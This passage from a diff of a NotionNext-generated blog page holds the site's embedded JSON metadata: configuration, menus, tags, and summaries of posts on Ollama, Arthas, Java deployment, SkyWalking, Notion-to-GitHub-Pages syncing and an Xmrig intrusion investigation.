,{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"guide"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/guide","tags":["文字","推荐"],"summary":"\u003c- 点击标题OPEN按钮打开说明;请检查您的NOTION_PAGE_ID是否成功配置,否则会显示我的默认数据库内容。","title":"模板说明","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:48.431Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=4fae0653-be7f-4e10-91de-344f6c6d0a6b","pageCoverThumbnail":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=4fae0653-be7f-4e10-91de-344f6c6d0a6b\u0026width=800\u0026fmt=webp","tagItems":[{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"4fae0653-be7f-4e10-91de-344f6c6d0a6b":{"value":{"id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","version":7,"type":"page","content":["9c344479-39c1-43e6-82db-da1e457673b8","dfbfc243-3c10-4fa6-9afe-b7ea8e16c791","91069561-1f89-408e-ba39-87eb119ef85a","a0bcfc30-03ad-485c-8274-4dd1011c4373","35153d83-59d1-4af9-b986-53aa8573709e","4db6ff22-9486-468a-8f4e-651a0973869c","3dbdf851-118a-40f3-a713-d6477e7a71a9","2083ca79-572d-4541-a5c9-57585bd5c43e"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"e2e5b065-95c1-42a4-8650-7ad813b1a1d1","